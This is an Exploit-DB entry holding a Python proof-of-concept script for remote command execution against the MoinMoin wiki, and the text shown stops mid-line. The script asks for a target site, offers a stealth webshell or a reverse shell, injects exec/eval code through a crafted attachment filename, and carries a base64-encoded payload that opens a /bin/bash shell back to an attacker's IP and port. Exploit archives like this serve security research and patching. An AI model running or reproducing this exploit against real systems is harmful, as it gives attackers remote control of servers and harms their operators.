Exploit-DB #25304
Description: MoinMoin - Arbitrary Command Execution
Type: webapps
Platform: php
Date: 2013-05-08
Author: HTP

Exploit:
#!/usr/bin/env python
# -*- coding: utf-8 -*-

ascii = '\x1b[1;31m'###########################################################################
ascii +='                                                                                \r\n'#
ascii +=' ██████████    ██████   ███  ███  ███    ██████████   ████████  ███     ███████ \r\n'#
ascii +=' ███████████  ████████  ███  ████ ███    ███████████  ████████  ███     ███████ \r\n'#
ascii +=' ██▒ ██▒ ██▒  ██▒  ███  ██▒  ██▒█▒███    ██▒ ██▒ ██▒  ██▒       ██▒       ██▒   \r\n'#
ascii +=' ▒█▒ ▒█▒ ▒█▒  ▒█▒  █▒█  ▒█▒  ▒█▒▒█▒█▒    ▒█▒ ▒█▒ ▒█▒  ▒█▒       ▒█▒       ▒█▒   \r\n'#
ascii +=' █▒▒ ▒▒█ █▒█  █▒█  ▒█▒  ▒▒█  █▒█ ▒▒█▒    █▒▒ ▒▒█ █▒█  █▒▒▒░▒    █▒▒       █▒▒   \r\n'#
ascii +=' ▒█▒   ▒ ▒█▒  ▒█▒  ▒▒▒  ▒▒▒  ▒█▒  ▒▒▒    ▒█▒   ▒ ▒█▒  ▒▒▒▒▒░    ▒▒▒       ▒▒▒   \r\n'#
ascii +=' ▒▒░     ▒▒░  ▒▒░  ▒▒▒  ▒▒░  ▒▒░  ▒▒▒    ▒▒░     ▒▒░  ▒▒░       ▒▒░       ▒▒░   \r\n'#
ascii +=' ░▒░     ░▒░  ░▒░  ▒░▒  ░▒░  ░▒░  ▒░▒    ░▒░     ░▒░  ░▒░        ░▒░      ░▒░   \r\n'#
ascii +=' ░░░     ░░   ░░░░░ ░░   ░░   ░░   ░░    ░░░     ░░    ░░ ░░░░   ░░ ░░░░   ░░   \r\n'#
ascii +='  ░      ░     ░ ░  ░   ░    ░░    ░      ░      ░    ░ ░░ ░░   ░ ░░ ░ ░   ░    \r\n'#
ascii +='                                                                                \r\n'#
ascii +='        ~[  PoC v2 : Remote arbitrary command execution for MoinMoin  ]~        \r\n'#
ascii +='\x1b[0m'##############################################################################

# V1: Stealth webshell, available upon Apache restart (24H)
# V2: Update stealth webshell, backconnect shell, available immediately (RISKY); Login functionality
# ToDo: Handle TextCha's, spoof UA
#
# Usage:     python moinmelt.py
# Requires: `requests` module, socat
#
# cr3dz: [HTP], Unnamed

import requests, re, getpass, random

print ascii
print "[*] Now with", random.choice(["hookers",
                                     "SYN floods",
                                     "integrated LOIC",
                                     "a bullshit Reason Generator",
                                     "UDP floods",
                                     "an admin informer",
                                     "a backdoor",
                                     "automatic defacing",
                                     "Full Disclosure letters",
                                     "advertisements",
                                     "an End-User License Agreement",
                                     "a 30-day Trial",
                                     "a free AOL subscription",
                                     "more educational value",
                                     "famewhoring",
                                     "Havij support",
                                     "advice from Sabu",
                                     "incomprehensible commentary",
                                     "hacker apparel",
                                     "advice from Kevin Mitnick",
                                     "a Unity applet",
                                     "JUSTICE",
                                     "FreeNode support",
                                     "advice from Chippy1337"]) + "!"

target = raw_input("[*] Target site? ").replace("http://","").replace("FrontPage","").replace("WikiSandBox","")
print "[*] Method of execution:"
print "[1] Stealth webshell, available upon Apache restart (24H)"
print "[2] Backconnect shell, available immediately (RISKY)"
print "[3] Exit"
method = raw_input("> ")

if method=='3':
    exit()
elif method=='2':
    print "[*] Preparing exploit.."
    filename = 'drawing.r if()else[]\nexec eval("open(__file__)\\56read()\\56split(\'[MARK]\')[-2]\\56strip(\'\\\\0\')")'
    data = """IyAtKi0gY29kaW5nOiBpc28tODg1OS0xIC0qLQoKaW1wb3J0IHN5cywgb3MsIHNvY2tldCwgcHR5
              LCBzZWxlY3QKcHdkID0gb3MucGF0aC5kaXJuYW1lKF9fZmlsZV9fKQpzeXMucGF0aC5pbnNlcnQo
              MCwgcHdkKQoKZGVmIG1vaW5tZWx0c2hlbGwoaG9zdCxwb3J0KToKICAgIHNvY2sgPSBzb2NrZXQu
              c29ja2V0KCkKICAgIHRyeToKICAgICAgICBzb2NrLmNvbm5lY3QoKGhvc3QsIGludChwb3J0KSkp
              CiAgICBleGNlcHQ6CiAgICAgICAgcmV0dXJuCiAgICBwaWQsIGNoaWxkUHJvY2VzcyA9IHB0eS5m
              b3JrKCkKICAgIGlmIHBpZCA9PSAwOgogICAgICAgIHNvY2suc2VuZCgiW35dIFx4MWJbMTszMW1N
              b2luTWVsdCBSZXZlcnNlIFNoZWxsXHgxYlswbVxyXG4iKQogICAgICAgIG9zLnB1dGVudigiSElT
              VEZJTEUiLCIvZGV2L251bGwiKQogICAgICAgIG9zLnB1dGVudigiUFdEIiwgcHdkKQogICAgICAg
              IG9zLnB1dGVudigiSE9NRSIsIG9zLmdldGN3ZCgpKQogICAgICAgIG9zLnB1dGVudigiUEFUSCIs
              Jy91c3IvbG9jYWwvc2JpbjovdXNyL3NiaW46L3NiaW46Jytvcy5nZXRlbnYoJ1BBVEgnKSkKICAg
              ICAgICBvcy5wdXRlbnYoIlRFUk0iLCdsaW51eCcpCiAgICAgICAgb3MucHV0ZW52KCJQUzEiLCdc
              eDFiWzE7MzFtXFx1QFxcaDpcXHdcXCQgXHgxYlswbScpCiAgICAgICAgcHR5LnNwYXduKCIvYmlu
              L2Jhc2giKQogICAgICAgIHNvY2suc2VuZCgiXHJcbiIpCiAgICAgICAgc29jay5zaHV0ZG93bigx
              KQogICAgZWxzZToKICAgICAgICBiID0gc29jay5tYWtlZmlsZShvcy5PX1JET05MWXxvcy5PX05P
              TkJMT0NLKQogICAgICAgIGMgPSBvcy5mZG9wZW4oY2hpbGRQcm9jZXNzLCdyKycpCiAgICAgICAg
              eSA9IHtiOmMsYzpifQogICAgICAgIHRyeToKICAgICAgICAgICAgd2hpbGUgVHJ1ZToKICAgICAg
              ICAgICAgICAgIGZvciBuIGluIHNlbGVjdC5zZWxlY3QoW2IsY10sW10sW10pWzBdOgogICAgICAg
              ICAgICAgICAgICAgIHogPSBvcy5yZWFkKG4uZmlsZW5vKCksNDA5NikKICAgICAgICAgICAgICAg
              ICAgICB5W25dLndyaXRlKHopCiAgICAgICAgICAgICAgICAgICAgeVtuXS5mbHVzaCgpCiAgICAg
              ICAgZXhjZXB0OgogICAgICAgICAgICBwYXNzCgp0cnk6CiAgICBwaWQgPSBvcy5mb3JrKCkKICAg
              IGlmIG5vdCBwaWQ6IG1vaW5tZWx0c2hlbGwoJ1tJUF0nLCAnW1BPUlRdJykKZXhjZXB0OgogICAg
              cGFzcyAjIEF2b2lkIGludGVybmFsIHNlcnZlciBlcnJvcnMKCmZyb20gTW9pbk1vaW4ud2ViLnNl
              cnZpbmcgaW1wb3J0IG1ha2VfYXBwbGljYXRpb24KYXBwbGljYXRpb24gPSBtYWtlX2FwcGxpY2F0
              aW9uKHNoYXJlZD1UcnVlKQ==""".strip().decode("base64")
el